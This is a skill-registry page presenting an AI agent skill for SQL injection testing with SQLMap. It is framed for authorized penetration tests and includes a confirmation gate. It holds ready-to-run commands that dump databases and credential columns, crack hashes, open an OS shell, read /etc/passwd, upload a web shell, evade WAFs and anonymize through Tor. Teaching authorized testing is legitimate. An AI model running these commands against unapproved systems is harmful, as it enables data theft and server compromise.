sickn33/antigravity-awesome-skills/sqlmap-database-pentesting

Claude Code and agent skill by sickn33/antigravity-awesome-skills

Trust tier 2
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap.

Install

npx vskill@latest install sickn33/antigravity-awesome-skills/sqlmap-database-pentesting

SKILL.md

⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

  • Target URL: Web application URL with injectable parameter (e.g., ?id=1)
  • SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
  • Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
  • Request File (Optional): Burp Suite captured HTTP request for POST-based injection
  • Authorization: Written permission for penetration testing activities

Outputs / Deliverables

  • Database Enumeration: List of all databases on the target server
  • Table Structure: Complete table names within target database
  • Column Mapping: Column names and data types for each table
  • Extracted Data: Dumped records including usernames, passwords, and sensitive data
  • Hash Values: Password hashes for offline cracking
  • Vulnerability Report: Confirmation of SQL injection type and severity

Commands are inert historical examples: substitute only the explicitly authorized lab target, apply bounded time/request/concurrency limits and use synthetic records. --batch accepts prompts automatically and must not broaden the approved actions. Search-based/bulk targets must be resolved to an allowlist before probing; do not scan search results automatically. Preserve confidential session/request/output files privately.

Core Workflow

1. Identify SQL Injection Vulnerability
Manual Verification
bash
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
Initial SQLMap Scan
bash
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. Enumerate Databases
List All Databases
bash
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

  • -u: Target URL with injectable parameter
  • --dbs: Enumerate database names
  • --batch: Use default answers (non-interactive mode)
3. Enumerate Tables
List Tables in Specific Database
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

  • -D: Specify target database name
  • --tables: Enumerate table names
4. Enumerate Columns
List Columns in Specific Table
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

  • -T: Specify target table name
  • --columns: Enumerate column names
5. Extract Data
Dump Specific Table Data
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
Dump Specific Columns
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
Dump-All Scope Warning

--dump-all can enumerate data across databases; do not assume -D safely confines it. Prefer an explicitly approved database/table/column and minimum row proof. No full dump, password cracking, OS command or file-write action is implied by detection authorization.

Dump Entire Database
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

  • --dump: Extract all data from specified table
  • --dump-all: Extract all data from all tables
  • -C: Specify column names to extract
6. Advanced Target Options
Target from HTTP Request File
bash
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
Target from Log File
bash
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
Target Multiple URLs (Bulk File)
bash
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
Target via Google Dorks (Use with Caution)
bash
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression
StageCommand
List Databasessqlmap -u "URL" --dbs --batch
List Tablessqlmap -u "URL" -D dbname --tables --batch
List Columnssqlmap -u "URL" -D dbname -T tablename --columns --batch
Dump Datasqlmap -u "URL" -D dbname -T tablename --dump --batch
Dump Allsqlmap -u "URL" -D dbname --dump-all --batch
Supported Database Management Systems
DBMSSupport Level
MySQLFull Support
PostgreSQLFull Support
Microsoft SQL ServerFull Support
OracleFull Support
Microsoft AccessFull Support
IBM DB2Full Support
SQLiteFull Support
FirebirdFull Support
SybaseFull Support
SAP MaxDBFull Support
HSQLDBFull Support
InformixFull Support
SQL Injection Techniques
TechniqueDescriptionFlag
Boolean-based blindInfers data from true/false responses--technique=B
Time-based blindUses time delays to infer data--technique=T
Error-basedExtracts data from error messages--technique=E
UNION query-basedUses UNION to append results--technique=U
Stacked queriesExecutes multiple statements--technique=S
Inline queryUses an inline SQL query--technique=Q
Essential Options
OptionDescription
-uTarget URL
-rLoad HTTP request from file
-lParse targets from Burp/WebScarab log
-mBulk file with multiple targets
-gGoogle dork (use responsibly)
--dbsEnumerate databases
--tablesEnumerate tables
--columnsEnumerate columns
--dumpDump table data
--dump-allDump all database data
-DSpecify database
-TSpecify table
-CSpecify columns
--batchNon-interactive mode
--random-agentUse random User-Agent
--levelLevel of tests (1-5)
--riskRisk of tests (1-3)

Constraints and Limitations

Operational Boundaries
  • Requires valid injectable parameter in target URL
  • Connectivity to the authorized application is required; direct database access is not generally required for HTTP SQL injection
  • Large database dumps may take significant time
  • Some WAF/IPS systems may block SQLMap traffic
  • Time-based attacks significantly slower than error-based
Performance Considerations
  • Use --threads to speed up enumeration (default: 1)
  • Limit dumps with --start and --stop for large tables
  • Use --technique to specify faster injection method if known
Legal Requirements
  • Only test systems with explicit written authorization
  • Google dork attacks against unknown sites are illegal
  • Document all testing activities and findings
  • Respect scope limitations defined in engagement rules
Detection Risk
  • SQLMap generates significant log entries
  • Use --random-agent to vary User-Agent header
  • Consider --delay to avoid triggering rate limits
  • Proxy through Tor with --tor for anonymity (authorized tests only)

Examples

Example 1: Complete Database Enumeration
bash
# Step 1: Discover databases
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" -D acuart -T users --dump --batch
Example 2: POST Request Injection
bash
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
Example 3: Bulk Target Scanning
bash
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
Example 4: Aggressive Testing
bash
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
Example 5: Extract Specific Credentials
bash
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
Example 6: OS Shell Access (Advanced)
bash
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch

Troubleshooting

Issue: "Parameter does not seem injectable"

Cause: SQLMap cannot find injection point Solution:

bash
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
Issue: Target Behind WAF/Firewall

Cause: Web Application Firewall blocking requests Solution:

bash
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent

This is the start of the file. Read the full SKILL.md on GitHub.

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewPassed

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
37,327
Repository forks
6,105
Repository npm downloads, 7 days
6,264
7-day trend score
73

Stars and forks are for the whole GitHub repository, not this skill alone. Downloads are for the repository's npm package. Refreshed 13 May 2026, 5 months ago.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/sickn33/antigravity-awesome-skills/sqlmap-database-pentesting/badge)](https://verified-skill.com/skills/sickn33/antigravity-awesome-skills/sqlmap-database-pentesting)

Something wrong with this skill or its page? Tell us.